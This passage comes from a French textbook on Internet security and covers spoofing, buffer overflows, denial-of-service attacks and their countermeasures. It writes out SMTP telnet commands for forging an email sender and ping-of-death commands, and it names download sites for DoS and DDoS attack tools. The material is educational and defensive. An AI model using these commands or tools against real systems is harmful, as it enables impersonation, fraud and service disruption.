confiance entre les machines au préalable s’avère intéressant : une seule
authentification au début est suffisante compte tenu que les relations de confiance
entre les machines utilisent des authentifications basées sur les adresses IP.

Par contre, ce type d’authentification peut s’avérer dangereux car un agresseur


utilisant la technique du spoofing des adresses IP peut attaquer ces machines.
L’établissement de relations de confiance entre les systèmes est très intéressant du
point de vue de la coopération, mais du point de vue de la sécurité, c’est un véritable
cauchemar.

Après l’établissement d’une relation de confiance, l’utilisateur peut se déplacer


d’une machine à l’autre en utilisant, pour les accès, les « commandes r » d’Unix.
Ces commandes n’exigent pas d’authentification, ce qui veut dire que l’utilisateur
130 La sécurité sur Internet

n’est pas obligé de fournir à chaque fois son mot de passe pour accéder à une autre
machine.

Néanmoins une petite consolation : même si un agresseur réussit le spoofing, son


principal problème demeure toujours le trafic renvoyé en tant que réponse. En effet,
puisque toutes les réponses sont envoyées à l’adresse IP qui a été falsifiée (spoofed),
l’agresseur peut envoyer des paquets à la victime mais ne reçoit pas de réponse.

6.5.2. Le spoofing des adresses emails

Le spoofing des adresses emails est réalisé en général pour trois principales
raisons.

Premièrement, un agresseur désire cacher son identité. Si un agresseur veut


envoyer un email à une personne et ne veut pas être identifié, le spoofing des
adresses emails est alors une technique efficace. De même, le « anonymous
remailer » peut être utilisé. Un « anonymous remailer » est un serveur à qui
l’agresseur va envoyer d’abord son email, puis ce serveur exécute un renvoi au
destinataire en cachant l’identité de l’agresseur. Ceci permet à un agresseur
d’envoyer des emails anonymes à travers Internet.

Deuxièmement, si l’agresseur veut se faire passer pour une autre personne ou


mettre une tierce personne dans une situation difficile, il peut alors falsifier l’email
de sa victime. Ainsi, n’importe qui peut recevoir un email mal intentionné croyant
qu’il le reçoit de la part de la victime nommée, le receveur va reprocher à cette
dernière le contenu de son courrier électronique.

Troisièmement, le spoofing des adresses emails pourrait être utilisé comme un


moyen de « social engineering ». Si un agresseur veut qu’une victime lui envoie des
informations sensibles par email, l’agresseur peut envoyer à la victime un email
portant comme adresse email source l’adresse de son chef hiérarchique ou de son
patron poussant ainsi la victime à répondre et à lui renvoyer des informations
sensibles.

Il existe en général deux méthodes de spoofing des adresses emails, à savoir la


modification du client mail et l’utilisation du Telnet au port 25.
La phase d’intrusion et d’attaque 131

6.5.2.1. Modification du client mail


Quand un email est envoyé, il n’y a aucune authentification ou vérification faite
sur le champ de la source : « From » du email. Par conséquent, si un agresseur a un
programme client d’emails tels que Eudora ou Outlook, il peut modifier l’adresse
email dans le champ « From » comme bon lui semble. Le seul problème est que
quand la victime répond avec un email, ceci ne parvient jamais dans la boîte des
emails de l’agresseur. Dans les lieux de travail, ce type d’attaque de spoofing des
adresses emails peut poser des problèmes entre les employés.

6.5.2.2. Telnet au port 25


Une autre technique plus compliquée consiste à se connecter à un serveur de
messagerie électronique SMTP par la commande Telnet. Si une personne adresse un
email à une autre personne, il saisit le texte puis clique sur « Envoyer ». Son serveur
mail contacte le destinataire, connecté au port 25, qui reçoit le message.
Puisque les serveurs mail utilisent le port 25 pour envoyer des emails, l’agresseur
pourrait procéder de la même façon en se connectant au port 25, comme un serveur
mail et composer un message à partir de là. Pour réaliser ceci, l’agresseur cherche
premièrement une adresse IP d’un serveur mail ou lance un scanner de port sur des
plages d’adresses pour identifier les ports 25 ouverts. Après avoir trouvé une
machine dont le port 25 est ouvert et avec un serveur mail opérationnel, il écrit les
commandes suivantes :
► Telnet + adresse IP du serveur mail
après la connexion, il écrit :
► helo

► mail from: « l’adresse email de la victime »


► Rcpt to: « l’adresse de la personne qui envoie le email »
► data

texte du message qui doit finir par un point.

Pour ceux qui trouvent la procédure compliquée, il y a une méthode plus facile.
Plusieurs programmes téléchargeables sur Internet facilitent l’envoi des emails
anonymes. Ces programmes, tel Avalanche, fournissent des interfaces graphiques
conviviales sous Windows. L’utilisateur choisit un serveur mail, puis remplit les
champs des adresses emails To et From, le sujet, et le message, et suit les instructions
sur l’écran. En outre Avalanche permet de réaliser l’email boombing. C’est-à-dire le
bombardement de la boîte aux lettres des victimes par des milliers de emails.
132 La sécurité sur Internet

6.6. Les attaques par saturation de mémoire

Les attaques par saturation de mémoire (buffer overflow) sont extrêmement


connues de nos jours et permettent d’accéder à une machine vulnérable et d’obtenir
un degré significatif de contrôle.

Une attaque de buffer overflow est réalisée quand un agresseur essaye et réussit à
mettre un volume d’informations conséquent dans une trop petite zone de mémoire.
Une éventualité connue et souvent réalisée quand l’utilisateur d’un programme
fournit plus de données que la capacité de stockage prévue par le concepteur du dit
programme.

Un buffer overflow tire avantage essentiellement des applications qui ne peuvent


traiter de manière adéquate les données en entrées. C’est le bourrage d’informations.

Les programmes qui ne vérifient pas au préalable les bornes ou les limites sont
très nombreux et par conséquent, sont très vulnérables aux attaques de buffer
overflow. Ces applications ou programmes travaillent sur des plates-formes Unix ou
Windows.

Tous les systèmes d’exploitation ou applications qui sont conçus à la légère


seraient vulnérables aux attaques du type buffer overflow. En exploitant un système
ou une application vulnérable, un agresseur peut exécuter des commandes arbitraires
sur la machine cible. De ce fait, l’attaquant pourrait prendre le contrôle total de la
machine, ce qui revient à ajouter un compte, changer des mots de passe, modifier la
configuration du système, etc.

Buffer overflow peut causer des attaques de Deni de Service (DoS) et des
attaques contre l’intégrité des données, par l’exécution de codes arbitraires qui
modifieraient des données. Alors que la lecture des données sensibles constitue déjà
une violation de la confidentialité.

6.6.1. La recherche des vulnérabilités de saturation de mémoire

La plupart des attaques de buffer overflow sont réalisées par des enfants ou par
des pirates débutants qui, en général, ne comprennent pas comment leurs outils
d’attaques fonctionnent. Ils scannent d’abord leurs cibles avec un scanner
automatique pour détecter ses vulnérabilités. Ensuite, ils téléchargent le code de
l’attaque écrit par une autre personne et dirigent le code vers la cible.
La phase d’intrusion et d’attaque 133

Ce code est en général écrit par des personnes ayant une grande expérience, aussi
bien dans la découverte de programmes vulnérables que dans la création de codes
d’attaque.

Ces personnes expérimentées procèdent à des analyses détaillées des


programmes en cherchant les preuves que certaines fonctions n’appliquent pas la
vérification des bornes de leurs variables locales.

Si l’agresseur possède le code source du programme ou le programme lui-même,


il peut rechercher et localiser plusieurs fonctions connues et utilisées qui n’exécutent
pas de vérification concernant les limites ou les bornes acceptables.

6.6.2. Les différents types d’attaque de saturation de mémoire

Le type d’attaque le plus simple de buffer overflow est de planter la machine ou


de causer une attaque de type de déni de service. Les attaques de buffer overflow
fonctionnent par l’insertion d’un volume conséquent de données dans la mémoire, ce
qui cause la réécriture de parties de la mémoire déjà allouées.

Il faut se rappeler que des informations importantes comme les données du


système d’exploitation résident dans la mémoire pour qu’on puisse y accéder
rapidement, en assurant le bon fonctionnement et la rapidité du système
d’exploitation.

Avec une attaque de buffer overflow, si d’autres informations non appropriées


sont réinscrites dans la mémoire, le système ne pourra plus fonctionner correctement
et finira par se planter. Il faut dès lors redémarrer le système sinon tous les services
seront interrompus. La situation est plus grave quand le système est un serveur.

L’autre type d’attaque de buffer overflow est l’exécution des codes que
l’agresseur a introduits dans la machine victime. Puisque l’attaque consiste à mettre
un volume énorme d’informations dans la mémoire, un agresseur attentif et malin
pourrait réécrire suffisamment d’informations utiles pour lui et garder le contrôle du
pointeur. Ce faisant, il peut forcer le pointeur à pointer vers les codes destructeurs ou
mal intentionnés qu’il a personnellement élaborés à la place des programmes en
cours d’exécution.

Les finalités de ces codes pourraient être anodines : par exemple l’impression
des mots de passe, leurs modifications ou la création de nouveaux comptes.
134 La sécurité sur Internet

6.6.3. La protection contre les attaques de saturation de mémoire

Les vulnérabilités permettant des attaques de buffer overflow sont inhérentes aux
codes et sont dues généralement aux manques de vérification des bornes des
variables. Par conséquent, la protection contre ce type d’attaque doit se faire en
dehors du logiciel en question, à moins que l’utilisateur possède le code source du
logiciel et qu’il procède à la réécriture correcte de l’application.

L’idéal, c’est d’éliminer tous les logiciels vulnérables, ainsi que tous les ports et
services correspondants. Il est également recommandé d’appliquer le patch du
fournisseur et d’installer la dernière version du logiciel. En général, après qu’une
vulnérabilité de buffer overflow est annoncée, le fournisseur fournit un patch ou met
à jour le logiciel avec une nouvelle version. Dans les deux cas, le fournisseur ajoute
normalement les vérifications adéquates pour le programme.

Il faut aussi tester les applications clés et en vérifier les vulnérabilités. Si


l’application demande un nom d’utilisateur en entrée, par exemple, il est indiqué de
taper 200 caractères ou une valeur inattendue et d’observer la réaction de
l’application.

On peut être surpris du degré de faiblesse de certaines applications face à ces


attaques. Par précaution, on devrait permettre aux logiciels de fonctionner ou de
s’exécuter avec un minimum de privilèges.

Résumé du chapitre 6

En général on distingue deux types d’attaquants : les débutants, appelés scripts


kiddies, d’une part, et les professionnels de l’autre. Mais les attaques sont souvent
presque de même nature. Pour les attaques, on en recense deux types, celles de
détournement de sessions et celles de saturation de mémoire.

L’attaque de détournement de session peut causer des dégâts considérables, et il


est difficile de s’en protéger. L’agresseur peut accéder à un ordinateur sans avoir un
accès physique toléré au préalable. Une entreprise doit donc concevoir sa sécurité à
partir de plusieurs angles d’approche. Le fait d’avoir un firewall et d’utiliser une
authentification forte n’empêche pas une agression.

Les attaques de saturation de mémoire sont faciles à concevoir. Pour les contrer
les administrateurs de réseaux et systèmes sont appelés à un maximum de vigilance.
Par précaution, ils doivent limiter les privilèges.
La phase d’intrusion et d’attaque 135

Enfin, la détection et la simulation de ces types d’attaques sont nécessaires et


profitables pour l’entreprise. Cette démarche et la mise à jour des patchs constituent
une approche plus que nécessaire pour la sécurité des systèmes et réseaux.
Chapitre 7

Les attaques de déni de service

7.1. Introduction

Le déni de service (Denial of Service : DoS) est l’attaque qui bloque, pour un
utilisateur, l’accès à sa machine ou qui retarde le temps de réponse et le rend
inacceptable. Le DoS peut survenir à la suite d’une attaque programmée lorsqu’une
personne malveillante surcharge intentionnellement une ressource ou un système ;
ou accidentellement lorsqu’un utilisateur légitime, par inadvertance, déclenche une
procédure inappropriée qui rend une ressource inaccessible et non disponible. Dans
les deux cas, l’administrateur d’une entreprise se doit de prendre les mesures
nécessaires pour protéger ses machines.

La plupart des systèmes d’exploitation, des routeurs, et d’autres composants


réseaux, dont le rôle consiste à traiter des paquets TCP/IP, sont vulnérables. En
général, il est difficile de prévoir et d’éviter les attaques DoS. Cependant, le contrôle
accru des accès aux ressources et des comptes critiques ainsi que la protection des
fichiers aux accès non autorisés peuvent empêcher ou retarder la plupart des
d’attaques.

Si un pirate n’arrive pas à accéder à une machine-cible, il va essayer de la


bloquer par une attaque de déni de service. Ce qui implique que même si un système
est bien sécurisé et mis régulièrement à jour avec les patchs anti-bugs, une personne
malveillante peut toujours y causer des dommages. Les risques sont donc réels.
138 La sécurité sur Internet

7.2. Les types d’attaques de déni de service

En général, il y a deux types d’attaques de DoS. Le premier consiste simplement


à planter un système ou un réseau. Un attaquant réalise un DoS de ce type s’il peut
envoyer à sa victime des données ou des paquets inattendus et/ou mal formés, et
cause ainsi le plantage du système ou le force au redémarrage. Dès lors, personne ne
peut plus utiliser les ressources du système. Dans la plupart des cas, pour remettre le
système en route et en ligne l’intervention de l’administrateur consiste à redémarrer
le système. Donc, ce premier type d’attaque est le plus préjudiciable parce qu’il est
facile à réaliser par l’agresseur et exige une intervention humaine, du côté de la
victime, pour le dépannage (le recouvrement et/ou le redémarrage).

Le deuxième type d’attaque consiste à inonder un système ou un réseau-cible


avec un volume important d’informations de telle sorte que le système ou le réseau
attaqué se trouve dans l’incapacité de répondre. Par exemple, si un système peut
seulement traiter dix paquets par seconde, et qu’un agresseur lui envoie vingt
paquets par seconde, alors les utilisateurs légitimes essayant de se connecter au
système seront refusés puisque toutes les ressources sont occupées ou épuisées.
Avec ce type d’attaque, l’agresseur doit continuellement inonder la cible avec des
paquets. Dès l’arrêt de l’envoi des paquets, l’attaque s’arrête et le système reprend
son fonctionnement normal. Ce type d’attaque demande plus d’énergie du côté de
l’agresseur parce qu’il doit pratiquer continuellement ce principe d’inondation du
système. Dans certains cas, ce type d’attaque peut « planter » rapidement le système,
mais l’intervention humaine est minime.

Il est important de noter que ces deux types d’attaques peuvent être lancés à
partir d’une machine locale appartenant au réseau local cible, ou à partir d’un autre
réseau extérieur quelconque.

Nous allons maintenant évoquer quelques attaques de déni de service pour


donner une meilleure idée de leur principe de fonctionnement. La liste suivante
comporte quelques exemples d’attaques de déni de service, mais de nouvelles
attaques de DoS apparaissent pratiquement tous les jours. Nous essayons seulement
de montrer la diversité des attaques de DoS courantes et existantes à ce jour.

7.2.1. L’attaque du « ping de la mort »

Le « ping de la mort » s’attaque aux systèmes. Un agresseur envoie un énorme


paquet ping à une machine cible. Comme la plupart des systèmes d’exploitation ne
savent pas quoi faire d’un paquet dont la taille dépasse le maximum toléré, ils vont
Les attaques de déni de service 139

se planter. Par exemple, ceci produira un écran bleu, appelé dans Microsoft NT
« l’écran bleu de la mort » (The blue screen of death).

La plupart des systèmes d’exploitation intègrent une version de la commande


ping comme une commande standard. De ce fait, il est relativement simple de
réaliser une attaque utilisant le ping puisque tous les outils nécessaires ont été déjà
installés par défaut. Par exemple, à partir d’une machine Windows, un agresseur
peut ouvrir une fenêtre Windows spécifique au système d’exploitation DoS et lancer
la commande :

► ping –l 65527 [suivi par l’adresse IP de la machine cible]


Sur une machine UNIX, un agresseur peut lancer la commande suivante :
► ping –s 65527 [suivi par l’adresse IP de la machine cible]

Comme cette commande est très courante, on n’a même pas besoin de chercher
le pseudo code ou l’exploit correspondant.

La meilleure méthode pour traiter ce problème est d’appliquer les derniers patchs
du fournisseur approprié. Pour la plupart des systèmes d’exploitation qui ont été
affectés par ce type de vulnérabilités, il existe déjà des patchs correspondants qui
comblent ces lacunes.

Une autre solution pour se protéger de ce type d’attaque de ping est de bloquer
un grand nombre de paquets ping au niveau des routeurs et des firewalls, de telle
sorte qu’ils ne puissent pas atteindre les machines cibles du réseau.

7.2.2. L’attaque Land

Land est un programme utilisé pour lancer des attaques de déni de service contre
une variété d’implémentation TCP. Le programme envoie un paquet TCP SYN qui
est le premier paquet envoyé lors de l’établissement d’une connexion TCP1 avec les
mêmes adresses de source et de destination ainsi que les mêmes ports de source et
de destination. La machine victime entre dans un cercle vicieux où elle s’envoie des
paquets à elle-même et se répond aussi à elle-même jusqu’à la saturation et au
plantage (Figure 7.1).

1 Voir, plus haut, Chapitre 2.


140 La sécurité sur Internet

Figure 7.1. L’attaque Land

Pour lancer une attaque Land, il existe un code source disponible dans les
adresses ci-dessous. Cependant, un agresseur peut facilement utiliser et/ou réécrire
ce code. Il suffit de générer des paquets avec les mêmes adresses sources et
destinations ainsi que celles des ports :
– Code source : http://www.insecure.org
– Programme Agressor : http://neworder.box.sk
– Programme Spike : http://hackersclub.com

Agressor et Spike sont deux programmes qui permettent de lancer plusieurs


types d’attaques de déni de service, incluant l’attaque du type Land.

Pour se protéger, la méthode la plus simple est d’appliquer les derniers patchs
des fournisseurs. La plupart des éditeurs offrent des patchs traitant ce type de
vulnérabilité. Ils ont une section spécifique dans leur site Web contenant ces
programmes ou l’ensemble de commandes traitant les exploits connus et répertoriés.

En plus des patchs, l’administrateur réseau ne doit pas avoir des adresses sources
dans la même plage que les adresses des machines du réseau interne. En effet,
puisqu’un paquet généré dans un réseau interne n’arrive jamais dans l’interface
extérieure du routeur, un routeur peut bloquer tous les paquets entrant dans le réseau
interne dont les adresses sources appartiennent à la plage des adresses internes des
machines. Cependant, ceci ne protégera pas contre un agresseur qui a déjà réussi à
s’infiltrer dans un réseau interne et qui lance une attaque contre les autres machines
du réseau à partir d’une machine interne qu’il a préalablement compromise.
Les attaques de déni de service 141

7.2.3. L’attaque par inondation de SYN (« SYN flooding »)

SYN flooding signifie « inondation de SYN ». C’est une attaque qui affecte la
plupart des systèmes d’exploitation parce qu’elle prend avantage sur un point faible
de la connexion TCP/IP via l’ouverture d’un nombre important de demi-connexions
de TCP/IP (half-open connexions).

Tous les systèmes connectés à Internet et fournissant des services basés sur des
connexions TCP (tels un serveur Web, un serveur FTP ou un serveur mail) sont
potentiellement exposés à ce type d’attaque. Il importe de signaler qu’en plus de
celles lancées sur un hôte spécifique, les attaques peuvent être lancées contre des
routeurs, des firewalls, ou autres équipements ou serveurs offrant des services TCP.

Comme ce type d’attaque est assez connu, il y a un code source de SYN flooding
gratuit et disponible dans les adresses ci-dessous. Cependant, un agresseur peut aussi
facilement écrire un code spécifique réalisant l’attaque SYN flooding :

► Code source de Synflood : www.hackersclub.com;


► SYN flooders (Synful.c et synk4.c) : www.anticode.com.

Il y a deux méthodes pour lancer une attaque de type SYN flooding. La première
méthode consiste à envoyer plusieurs paquets SYN à une machine-cible et à s’assurer
que l’envoyeur ou la machine (défini dans l’adresse source de ces paquets) ne
répondra jamais à tous les paquets SYN-ACK renvoyés par la machine-cible (Figure
7.2).

Figure 7.2 : L’attaque par inondation de SYN (« SYN Flooding »)


142 La sécurité sur Internet

C'est-à-dire qu’elle ignore les accusés de réception pour l’établissement de la


connexion. Pour s’en prémunir, il suffit de surveiller ces paquets et de les bloquer au
niveau de la machine ou du routeur.

La seconde méthode, plus simple, consiste à envoyer des paquets SYN vers une
machine cible avec une adresse source falsifiée (spoofed) correspondant à une
machine non active. De ce fait, quand la machine-cible répond, il n’y aura pas de
répondant ou partenaire.

Actuellement, avec la technologie courante du protocole IP, il n’existe aucune


solution à ce problème. Cependant, une configuration propre et adéquate des
routeurs et des firewalls peut réduire considérablement les opportunités d’attaque de
ce type. Un routeur ou un firewall peut bloquer ce type d’attaque en autorisant
seulement un nombre limité de demi-connexions dans un état actif à un moment
donné.

7.2.4. L’attaque Smurf

Dans cette attaque, l’agresseur envoie du trafic ICMP echo request (ping) à une
adresse broadcast d’un réseau (par exemple pour le réseau 10.50.0.0, l’adresse
10.50.255.255 est une adresse broadcast), en utilisant une source adresse IP falsifiée
(IP-spoofed) d’une machine victime. Ainsi, toutes les machines du réseau vont
envoyer des réponses de type ICMP echo request, à la machine victime (Figure 7.3).

Figure 7.3. L’attaque Smurf


Les attaques de déni de service 143

Il y a trois acteurs dans cette attaque :


– le pirate
– un intermédiaire
– la victime

Si le routeur du réseau cible ne filtre pas le trafic ICMP, sur les adresses de
« broadcast », toutes les machines du réseau recevront le paquet et renverront un
paquet echo_response en retour destiné à la machine victime.

Un routeur ou un firewall peut bloquer ce type d’attaque en refusant le trafic


ICMP echo request et reply entrant et sortant. Pour éliminer la possibilité d’utiliser
son réseau comme un intermédiaire dans ce type d’attaque, le routeur ne doit pas
permettre la diffusion des paquets comportant des adresses IP de broadcast.

L’attaque Fraggle : son mode d’attaque est analogue à celui de Smurf avec la
seule différence qu’il agit sur des paquets UDP écho. La méthode consiste à usurper
l’identité d’un intervenant dans la communication réseau et de pratiquer de
nombreux ping du type UDP écho avec l’adresse usurpée sur le routeur principal
placé en bordure du sous-réseau. Les machines de ce sous-réseau retournent l’écho à
la victime qui se voit submergée de réponses et ses ressources systèmes s’amoindrir.

7.2.5. L’attaque WinNuke

WinNuke se classe parmi les programmes d’attaque du niveau réseau. Dans ce


type d’attaque, l’agresseur transmet des données inattendues vers une machine-cible
sur le port 139, qui est le NetBIOS. Il en résulte une confusion pour la machine-cible
et entraîne un crash ou une panne.

► http://www.anticode.com est le site où le code source et l’exécutable de


WinNuke sont téléchargeables.

La première version de WinNuke envoie un paquet avec des données contenant


la phrase « Nuke Me ». Microsoft crée alors le premier patch qui filtre les paquets
selon l’existence de cette chaîne et peut stopper l’attaque. Mais, les pirates ont vite
conçu la contre-mesure et lancé une autre version de WinNuke, où ils peuvent
personnaliser la chaîne envoyée, de ce fait Microsoft devrait lui même fournir de
nouveau un autre patch.

La Figure 7.4 montre la version de WinNuke où un agresseur peut personnaliser


son message.
144 La sécurité sur Internet

Figure 7.4. Le programme WinNuke

Le site Web http://www.jtan.com/resources/winnuke.html est utile pour tester la


vulnérabilité d’un PC pour une attaque de type WinNuke. Il est recommandé
d’utiliser les derniers patchs et de bloquer tous les ports non nécessaires au niveau
des routeurs, des firewalls et des machines.

7.3. Les outils combinés de déni de service

Comme évoqué précédemment, l’objectif final des attaques de DoS est de


provoquer le déni ou refus d’accès à un réseau ou à un ordinateur, pour la seule fin
de planter le système et d’épuiser toutes ses ressources de telle sorte qu’aucune
personne ne puisse les utiliser. Pour l’agresseur, la méthode et les outils de déni de
service importent peu ; ce qui est primordial pour lui, c’est d’atteindre son objectif :
Que les accès aux utilisateurs légitimes soient refusés. Ainsi optera-t-il pour des
programmes de DoS qui multiplieraient les attaques jusqu’à la réussite totale du but
recherché.

C’est également pour cette raison qu’au lieu d’avoir un seul programme qui
réalise l’attaque Land, puis un autre qui réalise l’attaque SYN flooding, les
concepteurs ont pensé à les rassembler dans un seul module, et parfois même
incluant plusieurs autres types de programmes d’attaque.
Les attaques de déni de service 145

Dans ce qui suit, nous allons, à titre d’exemples, présenter Targa et Toast, conçus
et utilisés pour lancer une variété d’attaque de déni de service.

Targa
Ce programme a été écrit par un dénommé Mixter et est téléchargeable à partir
de http://packetstormsecurity.nl. Son concepteur a utilisé le code de huit attaques de
déni de service et les a rassemblé pour en faire un seul programme facile à utiliser.

C’est un programme très puissant, qui peut causer d’énormes dégâts pour le
réseau d’une entreprise. Il peut être utilisé pour réaliser plus de huit attaques de déni
de service et est capable de réaliser les attaques de déni de service suivantes : Bonk,
Jolt, Land, Nestea, Newtear, Syndrop, Teardrop, Winnuke, 1234, Saihyousen,
Oshare. L’agresseur peut choisir de lancer des attaques individuelles ou essayer
toutes les attaques proposées.

Toast
Toast est un outil intégrant un large éventail d’outils de déni de service, tels que
123, Ascend-foo, Beer, Biffit, Boink, Bonk, Coke, Conseal, Dcd3c, Fawx, Foqerc,
Gewese5, Ice, Jolt, Kkill, Koc, Kox, Kod, Pimp2, Land, Misfrag, Nestea, Newtear,
Octopus, Orgasm, Overdrop, Pepsi, Rape, Spiffit, Ssping, Syndrop, Synful, Synk4,
etc. Cet outil peut également envoyer simultanément de multiples attaques. Il est
téléchargeable à partir de http://packetstormsecurity.nl.

7.4. L’attaque de déni de service distribué

7.4.1. Le principe

Avec un DoS traditionnel, une machine attaque normalement une seule machine
victime. Cependant, en l’an 2000, un nouveau type d’attaque a été initié : le déni de
service distribué (Distributed Denial of Service : DDoS).

Dans ce cas, l’agresseur accède à plusieurs machines ou s’associe avec plusieurs


complices afin de lancer une attaque massive contre une machine ou un réseau.
Donc, l’attaque ne provient plus d’une machine unique, mais de plusieurs (Figure
7.5).

Ainsi est-il plus difficile de se défendre contre ce type d’agression, parce que la
machine-cible reçoit simultanément plusieurs paquets de sources différentes.
146 La sécurité sur Internet

Figure 7.5. Le principe de l’attaque de déni de service distribué (DDoS)

Etant donné que ces attaques proviennent de plusieurs plages d’adresses IP, il est
plus difficile de les détecter et de les bloquer. En effet, un nombre limité de paquets
provenant des diverses machines peut échapper aux contrôles et aux détections des
radars du système de détection d’intrusion. Si une simple adresse IP est en train
d’attaquer une entreprise, tous les paquets contenant cette adresse IP source peuvent
être bloqués par le firewall de l’entreprise. S’il s’agit d’une centaine de machines, le
blocage est alors extrêmement difficile.

7.4.2. Les outils de déni de service distribués

Il existe malheureusement un nombre très important d’outils disponibles sur


Internet pour mener des attaques de déni de service distribués. Plusieurs sont
disponibles à la seule adresse suivante : http://packetstormsecurity.nl.

Les outils suivants sont les plus connus ; Trinoo, Tribal flood network (TFN),
Stacheldraht, Shaft, Tribal flood network 2000 (TFN2K), et Mstream. Tous
présentent les mêmes fonctionnalités concernant le lancement des attaques DoS.
Dans cette section, nous détaillerons en premier TFN2K qui nous semble intéressant
Les attaques de déni de service 147

car il est complet en terme de fonctionnalités et de possibilités. Puis nous


découvrirons successivement Trinoo, Stacheldraht et Mstream. Bien qu’il soit l’un
des plus récents programmes annoncés, la liste des fonctions de ce dernier est
limitée et il est capable de réaliser les mêmes types d’attaques que TFN2K.

Tribal Flood Network 2000 (TFN2K)

TFN2K peut être considéré comme une version améliorée de Targa. Il a été écrit
par le même Mixter, et peut être téléchargé à partir du site :
http://packetstormsecurity.nl. Il réalise les mêmes attaques que celles de Targa et
d’autres types de DoS. En plus, il est capable de réaliser des attaques de déni de
service distribuées.

Trinoo

Trinoo est l’un des premiers outils et, de ce fait, présente des fonctionnalités
limitées en comparaison de TFN2K. Ce dernier est discret car il utilise ICMP et donc
n’a pas de port à détecter dans la machine compromise. Trinoo utilise TCP et UDP.
Une entreprise utilisant régulièrement un scanner des ports peut donc facilement
détecter sa présence.

En août 1999, un réseau de 200 ordinateurs exécutant Trinoo a été le responsable


du crash et de la panne du réseau de l’université de Minnesota durant deux jours.

Stacheldraht
Stacheldraht est un autre outil d’attaque de DDoS qui combine les fonctions de
TFN2K et de Trinoo, mais intègre d’autres fonctionnalités tel que le cryptage des
communications entre les components. Stacheldraht utilise TCP et ICMP pour
communiquer.

7.5. Les outils de déni de service du marché

Les scanners du commerce, tels que CyberCop et ISS Internet Scanner, vérifient
la sensibilité d’une cible vis-à-vis des conditions et des environnements de déni de
service.

Les administrateurs préfèrent utiliser ces outils d’une part parce qu’ils permettent
de scanner les hôtes et les réseaux et d’autre part parce qu’ils ne sont pas considérés
comme des outils de piratage. Il est recommandé de les utiliser en dehors des heures
d’exploitation réelles, car des cas réels de DoS et de plantage ont été enregistrés
durant les phases de test.
148 La sécurité sur Internet

CyberCop
CyberCop est un produit commercial qui revendique la réalisation de plus que 40
attaques de déni de service, incluant l’attaque Land, l’attaque Ping, et bien d’autres
encore. Toutes les potentialités d’attaque disponibles de l’outil peuvent être
exécutées simultanément ou individuellement. L’outil présente une description de
l’attaque ainsi qu’une proposition de contre-mesures. Lors des simulations
d’attaques DoS, nous recommandons d’exécuter ces outils individuellement à la
suite des autres processus de scannage. Le cas échéant, si le système plante et
nécessite donc une relance, le risque de perte d’informations cruciales est très grand.

ISS Internet Scanner


Comme pour le cas de CyberCop, ISS Internet Scanner scanne les hôtes pour
déterminer si ces derniers sont susceptibles ou favorables aux attaques de DoS. Par
exemple, la version 6.2.1 de ISS Internet Scanner peut réaliser cent vingt huit
attaques de DoS (Figure 7.6), avec des éléments communs à CyberCop. ISS Internet
Scanner fournit plus d’information sur les attaques que CyberCop et un meilleur
travail quant à la catégorisation des attaques par cible2, ainsi que des descriptions et
des contre-mesures pour les divers types d’attaques DoS.

Figure 7.6. La version 6.2.1 de ISS Internet Scanner réalise 128 attaques de DoS

2 Par exemple pour les serveurs de DNS, les serveurs FTP, les Firewalls, etc.
Les attaques de déni de service 149

7.6. La prévention des attaques de déni de service

Compte tenu de la puissance des attaques DoS et de leurs méthodes d’action,


aucune solution n’est radicale. Des mesures peuvent, toutefois, être prises pour
minimiser les risques. Dans ce qui suit, nous décrivons quelques techniques et
méthodes qu’une entreprise peut mettre en place pour minimiser le risque
d’agression par des attaques DoS ou DDoS :
– conception robuste et efficiente ;
– limitations de la bande passante ;
– garder les systèmes mis à jour avec des patchs ;
– exécuter juste le nombre nécessaire de services ;
– autoriser uniquement le trafic nécessaire ;
– filtrer les adresses IP.

Détaillons une à une ces contre-mesures.

7.6.1. Conception robuste et efficiente

Plus un serveur est redondant et robuste plus il est protégé des attaques. Si une
entreprise possède un serveur Web critique et que ce serveur soit servi par un unique
routeur fonctionnant sur une seule machine, ce qui ne constitue pas une « conception
robuste », il suffit à un agresseur de lancer une attaque de déni de service contre le
routeur ou le serveur pour déconnecter totalement l’application Web vis-à-vis des
utilisateurs.

Idéalement, une entreprise doit non seulement posséder de multiples connexions


à Internet mais aussi avoir des connexions à partir de multiples régions
géographiques.

La même règle s’applique pour les services. Le « must », c’est qu’une entreprise
possède différents serveurs pour un même service avec une variété d’adresses IP : Il
devient alors plus difficile pour un agresseur de localiser et de cibler simultanément
toutes les machines.

La sécurité du site d’une entreprise dépend des moyens investis pour se protéger
contre les attaques de déni de service. Compte tenu qu’un DoS plante les machines
ou épuise les ressources des systèmes, le concept de redondance et de la multiplicité
de systèmes aide à contrer ces attaques. Par conséquent, plus le nombre de machines
et de connexions de l’entreprise est grand, plus il est difficile pour un agresseur de
réussir des DoS.
150 La sécurité sur Internet

7.6.2. Limitations de la bande passante

Avec les attaques de DoS, un agresseur peut épuiser toute la bande passante de
l’entreprise attaquée, ce qui bloque l’accès aux utilisateurs légitimes. Si, par
exemple, un agresseur inonde de trafic un réseau sur le port 25, il épuisera toute la
bande passante d’une entreprise, et le port 80 se trouvera également refusé.

Pour éviter ce type d’attaque, il est recommandé de limiter la bande passante sur
la base de la technique de protocole et de répartition des bandes passantes. On peut,
en effet, partager le trafic entre les ports 25 et 80. Mais, là également un agresseur
peut lancer simultanément deux attaques de DoS : une contre le port 25 et l’autre
contre le port 80.

Il est donc clair qu’il n’y a de solution radicale que dans l’élaboration, en
profondeur, d’une stratégie de défense, de mise à jour et de surveillance continuelle.

7.6.3. Mise à jour fréquente des systèmes : les patchs

En règle générale, quand une nouvelle attaque de DoS est enregistrée, les
développeurs identifient rapidement le problème et annoncent le patch approprié.
Une entreprise qui se soucie de sa sécurité doit sérieusement et continuellement
suivre les annonces des derniers patchs et les appliquer sans délai.

Néanmoins, un patch doit au préalable être essayé sur des machines de test avant
son application sur des machines réelles de production. Car même si le vendeur
affirme l’efficacité du patch pour la faille identifiée, cela ne garantit pas pour autant
qu’une fois implémenté dans une machine, il ne risque pas de créer de nouveaux
types de vulnérabilités.

7.6.4. Exécution d’un minimum de services

Le fait de pouvoir exécuter un minimum de services sur une machine permet de


minimiser la probabilité d’une attaque. Plus une machine a de ports ouverts, plus un
agresseur a de possibilités d’attaques. Un système avec seulement deux ports ouverts
limite les types d’attaque. De plus, avec un petit nombre de services exécutables ou
un petit nombre de ports ouverts, la tâche de surveillance et de contrôle est plus
facile pour un administrateur.
Les attaques de déni de service 151

7.6.5. Limitation du trafic

Beaucoup d’entreprises autorisent le trafic ICMP entrant et sortant de leurs


